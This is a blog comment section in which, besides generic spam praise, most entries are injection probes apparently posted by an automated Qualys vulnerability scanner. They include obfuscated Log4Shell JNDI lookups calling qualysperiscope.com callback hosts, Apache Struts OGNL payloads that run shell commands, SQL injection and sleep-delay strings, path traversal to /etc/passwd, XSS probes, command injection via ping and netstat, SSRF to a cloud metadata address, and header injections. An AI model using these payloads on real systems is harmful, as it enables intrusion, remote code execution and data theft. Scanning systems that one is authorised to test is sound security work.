190 Comments

1. 

   1
2. 

   Wow, awesome blog layout! How long have you been blogging for? you made blogging look easy. The overall look of your website is magnificent, let alone the content!
3. 

   Hello.This article was really remarkable, especially since I was searching for thoughts on this matter last Friday.
4. 

   Very interesting details you have observed, regards for posting.
5. 

   It is really a great and useful piece of information. I’m glad that you shared this useful info with us. Please keep us informed like this. Thanks for sharing.
6. 

   Some really nice and utilitarian information on this web site, also I conceive the pattern holds superb features.
7. 

   Some times its a pain in the ass to read what website owners wrote but this site is very user genial! .
8. 

   ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://bbfa4c5311f440d597a33e0f16cc7ec414f2d422.33490225466067547.141495969.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
9. 

   ${jnd${123%ff:-${123%ff:-i:}}ldap://211b9397e17531114e741f8a7aa4b1d79b3c2cf8.33490225466067547.383641881.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
10. 

    ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//a982390ebcc4aed1f6f8c7c28c6a9be4af4ad290.33490225466067547.1390782654.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
11. 

    ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//7a9da3dc6038f02564063c004ac984234c13bdd8.33490225466067547.4048352980.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
12. 

    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://269bf82119a573445119f9494e20fce06c15a005.33490225466067547.4073339537.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
13. 

    Hey! I could have sworn I’ve been to this site before but after reading through some of the post I realized it’s new to me. Nonetheless, I’m definitely glad I found it and I’ll be book-marking and checking back often!
14. 

    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://30288de3d9abc0431885aee6419120fef2d7b616.33504008466067547.3603636736.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
15. 

    ${jnd${123%ff:-${123%ff:-i:}}ldap://26934b80721080182c116b0972aaeeb8b67dc55f.33504008466067547.2337635588.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
16. 

    ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//ac2fcca97f5b21bf86d750e51e993c057a08e09a.33504008466067547.1533552949.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
17. 

    ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//1dcc980653fef814d441ea38269322694d07ff21.33504008466067547.1445715893.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
18. 

    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://cba7fffdeea85d8649cce737c151623c14ee33c3.33504008466067547.2045629701.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
19. 

    “‘>
20. 

    1
21. 

    1
22. 

    “>
23. 

    1″‘>
24. 

    z–>
25. 

    1
26. 

    qssVvv4435Y=7
27. 

    %3cscript z%3e_q(y)%3c/script%3e
28. 

    q
    Content-Type:text/html
    Content-Length: 190

    HTTP/1.1 200 OK
    Content-Type: text/html
    Set-Cookie: a=q
    Content-Length: 2

    AA
29. 

    q
    Qualys_resp_hdr_injection: Vulnerable
30. 

    q
    Qualys_resp_hdr_injection: Vulnerable
31. 

    1′
32. 

    ;–
33. 

    #
34. 

    /*
35. 

    “
36. 

    ,
37. 

    (
38. 

    1e309
39. 

    1
40. 

    /../../../../../../../etc/passwd
41. 

    ../../../../../../../etc/passwd
42. 

    //..//..//..//..//..//..//..//etc/passwd
43. 

    1
44. 

    ../../../../../../../Windows/System32/drivers/etc/hosts
45. 

    %{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
46. 

    %25{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
47. 

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q2d1hi3j’).(#str3=’B4D7e6′).(#str=#str2+’:QQ:’+#str1+’:PP:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
48. 

    a(){}phpinfo(); function a
49. 

    |netstat -an
50. 

    http://rfitest/
51. 

    “;(function(){qxss9WUXKeGS});/**/”
52. 

    “);(function(){qxssW7fRm3BX});/**/”
53. 

    qualys(aqxssvUhCAz9K)xyz
54. 

    ‘;(function(){qxss4gNb282D});/**/’
55. 

    9;(function(){qxsstfb9HK29});//
56. 

    9
    ;(function(){qxss4OwW757p});//
57. 

    */;(function(){qxss37KMu2k8});/*
58. 

    1
59. 

    “-qxssx9uSGl3U()-“
60. 

    |aaaa
    =(23.0231*213.759)
    |${23.0231*213.759}{23.0231*213.759}{{23.0231*213.759}}(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}
61. 

    {23.0231*213.759}${23.0231*213.759}{{=23.0231*213.759}}
62. 

    ;echo 23.0231*213.759;//{@math key=4335.158242899999 method=”add” operand=586.23659/}
    /*

    #set($value=23.0231*213.759)
    $value
    */
63. 

    (23.0231*213.759)
64. 

    http://169.254.169.254/latest/meta-data/
65. 

    Joe+
    bcc:was_engine@a9a2c6f3a1fbe998eda10a7d81ecede8b42f170b.33508923466067547.247500787.smtphi01.smtp.us1.qualysperiscope.com.
66. 

    http://fb5e7690e46241db9d3470f227355ed3b66dab37.33508923466067547.1659190803.ssrf01.ssrf.us1.qualysperiscope.com.
67. 

    ping -c 2 9ae41ef47e4bd6605df9f897205452e223e4dfbf.33508923466067547.687556622.oscomm01.oscomm.us1.qualysperiscope.com.
68. 

    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://8d826621cc6bf48c139822689dabb24630f815b5.33508923466067547.43258603.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
69. 

    ${jnd${123%ff:-${123%ff:-i:}}ldap://af49a10c0e51368ed60d914e697a268fb767c97b.33508923466067547.3698689481.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
70. 

    1
71. 

    1
72. 

    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://4d2ade50933909db4d54e8658a880308f2c43950.33508923466067547.3916784582.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
73. 

    1′) or 2634=2634 —
74. 

    1′ or 3789=3789 —
75. 

    1 or 4325=4325 —
76. 

    1 or NULL IS NULL
77. 

    1 and NULL IS NULL
78. 

    1
79. 

    1′ or ‘tpklq’=’tpklq
80. 

    11 or 11=11
81. 

    aaaa&ping -n 92 localhost&
82. 

    ping -c2 -i91 localhost
83. 

    |ping -c2 -i91 localhost
84. 

    |ping -c2 -i91 localhost|
85. 

    1WAITFOR DELAY ’00:00:29′
86. 

    1;WAITFOR DELAY ’00:00:29′;
87. 

    1);WAITFOR DELAY ’00:00:29′–
88. 

    1′;WAITFOR DELAY ’00:00:29′–
89. 

    1
90. 

    1′,0,0);WAITFOR DELAY’00:00:29′–
91. 

    1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)
92. 

    1′ + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + ‘
93. 

    1;SELECT sleep(29); —
94. 

    1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*’XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); — OR’|”XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); — OR”*/
95. 

    1
96. 

    1(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))
97. 

    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://44904361ce025b4e8a95a2dbe4f23df4d48919ad.33621251466067547.3503954342.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
98. 

    ${jnd${123%ff:-${123%ff:-i:}}ldap://5a6807039de0edb2c0c5e80f5b1e1cb06b5fa872.33621251466067547.3989917652.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
99. 

    ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//b5beb7fe3aae521aa9d334fe0fa8c897f0f525a6.33621251466067547.384174270.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
100. 

     ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//3ce31e06549d55393c7175a9b443942b4bc18320.33621251466067547.2803912574.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
101. 

     ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://a3d0108d941310f3be777b95f3064d557933b4ce.33621251466067547.756052438.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
102. 

     Definitely believe that that you said. Your favorite justification appeared to be on the net the simplest thing to take note of. I say to you, I definitely get irked while people consider issues that they just do not understand about. You managed to hit the nail upon the highest and defined out the whole thing without having side effect , people can take a signal. Will probably be back to get more. Thanks|
103. 

     Hi! This is my 1st comment here so I just wanted to give a quick shout out and say I genuinely enjoy reading your articles. Can you recommend any other blogs/websites/forums that go over the same topics? Thank you so much!|
104. 

     Hello, I think your website might be having browser compatibility issues. When I look at your website in Firefox, it looks fine but when opening in Internet Explorer, it has some overlapping. I just wanted to give you a quick heads up! Other then that, superb blog!|
105. 

     Today, I went to the beachfront with my children. I found a sea shell and gave it to my 4 year old daughter and said “You can hear the ocean if you put this to your ear.” She placed the shell to her ear and screamed. There was a hermit crab inside and it pinched her ear. She never wants to go back! LoL I know this is completely off topic but I had to tell someone!|
106. 

     I am now not positive where you are getting your information, however good topic. I must spend a while finding out more or working out more. Thanks for great information I used to be on the lookout for this info for my mission.
107. 

     My developer is trying to convince me to move to .net from PHP. I have always disliked the idea because of the costs. But he’s tryiong none the less. I’ve been using Movable-type on numerous websites for about a year and am worried about switching to another platform. I have heard good things about blogengine.net. Is there a way I can import all my wordpress content into it? Any kind of help would be greatly appreciated!|
108. 

     Definitely believe that which you said. Your favorite justification seemed to be on the internet the simplest thing to be aware of. I say to you, I definitely get irked while people consider worries that they plainly don’t know about. You managed to hit the nail upon the top and defined out the whole thing without having side-effects , people could take a signal. Will probably be back to get more. Thanks|
109. 

     Hi there to all, how is everything, I think every one is getting more from this web site, and your views are fastidious for new people.|
110. 

     Have you ever thought about publishing an ebook or guest authoring on other websites? I have a blog based on the same information you discuss and would love to have you share some stories/information. I know my audience would value your work. If you’re even remotely interested, feel free to shoot me an email.|
111. 

     ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://25e3fbb903e46150981a09c5cb418dd89245960c.33728469466067547.622983531.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
112. 

     ${jnd${123%ff:-${123%ff:-i:}}ldap://e2276de170e02fbff2875a9ea79de58a9ec85d84.33728469466067547.2776364814.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
113. 

     ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//c26a34f1d998737ab5d199cdc7ee387203fdb347.33728469466067547.1739004722.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
114. 

     ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//0403247a3af25185dc3bf385061c0db8873926f6.33728469466067547.2663169277.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
115. 

     ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://cdd212a6596b0239b9ccd831ed50bf199b78d1ec.33728469466067547.3289183629.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
116. 

     It’s hard to find experienced people about this topic, but you sound like you know what you’re talking about! Thanks|
117. 

     1
118. 

     1
119. 

     1
120. 

     1
121. 

     1
122. 

     qss6B3JBzTw=7
123. 

     1
124. 

     1
125. 

     1
126. 

     1
127. 

     1
128. 

     1
129. 

     1
130. 

     1
131. 

     1
132. 

     1
133. 

     1
134. 

     //….//….//….//….//….//….//….//etc/passwd
135. 

     1
136. 

     1
137. 

     1
138. 

     “;(function(){qxssTX5AZm42});/**/”
139. 

     “);(function(){qxss8yAFNe8L});/**/”
140. 

     qualys(aqxss1fgF9I32)xyz
141. 

     1
142. 

     9;(function(){qxssnbZge538});//
143. 

     9
     ;(function(){qxssT0OHSqxM});//
144. 

     */;(function(){qxss7Un78hgZ});/*
145. 

     ‘-qxssZ6HS8d0W()-‘
146. 

     “-qxss7lSmAg61()-“
147. 

     1
148. 

     1
149. 

     1
150. 

     1
151. 

     1
152. 

     Joe+
     bcc:was_engine@97313fc0595187f8d5d7b578d7055852604bd713.33762030466067547.438829599.smtphi01.smtp.us1.qualysperiscope.com.
153. 

     http://f1e9fe0770a390877127ca85fd0a1806a7a79b7e.33762030466067547.2398906769.ssrf01.ssrf.us1.qualysperiscope.com.
154. 

     ping -c 2 a71b7e5889f8ac28309883ecc38fd7b1c1d485c1.33762030466067547.267058478.oscomm01.oscomm.us1.qualysperiscope.com.
155. 

     ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://e1676e68185fffcee06ffeb067d25f1aae5e618e.33762030466067547.2785648196.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
156. 

     ${jnd${123%ff:-${123%ff:-i:}}ldap://80c768feb60f790fbb2703623fa11ff52fc9f5a0.33762030466067547.2040448008.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
157. 

     1
158. 

     ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//47bc9f0edf3ce8dd78544da8d41f6fcc9ed85a63.33762030466067547.1104087801.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
159. 

     ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://c33fb20b8ad113925f60eeb37c7c268ca8281d60.33762030466067547.3272774051.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
160. 

     1
161. 

     1
162. 

     1
163. 

     1
164. 

     1
165. 

     1′) or ‘swqtp’=’swqtp
166. 

     1′ and ‘tpklq’=’xqlkp
167. 

     11 or 11=12
168. 

     1
169. 

     1
170. 

     1
171. 

     1
172. 

     1
173. 

     1
174. 

     1
175. 

     1
176. 

     1′);WAITFOR DELAY ’00:00:29′–
177. 

     1
178. 

     1
179. 

     1
180. 

     1
181. 

     ${jnd${123%ff:-${123%ff:-i:}}ldap://4bf1d35824c6bbd687d3c9c276f5349208083336.33789499466067547.717473519.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
182. 

     ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//40c2189278e910a8685e702eb6ba2938ee241300.33789499466067547.3799449063.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
183. 

     ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//ba5cc187647b90cf6ab35a8a5beb4d70780448ee.33789499466067547.1676955802.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
184. 

     ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://f898ff5cc7dddd8bb498ac89b4ac5147ae555caf.33789499466067547.4146842938.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
185. 

     ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://988ec541e778956f0f338af2642308664615824d.33840909466067547.2506104046.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
186. 

     ${jnd${123%ff:-${123%ff:-i:}}ldap://6211f2d5d68838e33f4c1b31e0874569ece42799.33840909466067547.1037819282.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
187. 

     ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//e41a710a52dd80f91e04cc7376364f1e37898767.33840909466067547.469568916.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
188. 

     1
189. 

     ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://407a1691cc8d1a8c181b48a4c032d50c13ca0c5c.33840909466067547.1005015946.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
190. 

     Fantastic beat ! I would like to apprentice whilst you amend your website, how can i subscribe for a blog web site? The account aided me a applicable deal. I had been tiny bit acquainted of this your broadcast offered brilliant transparent idea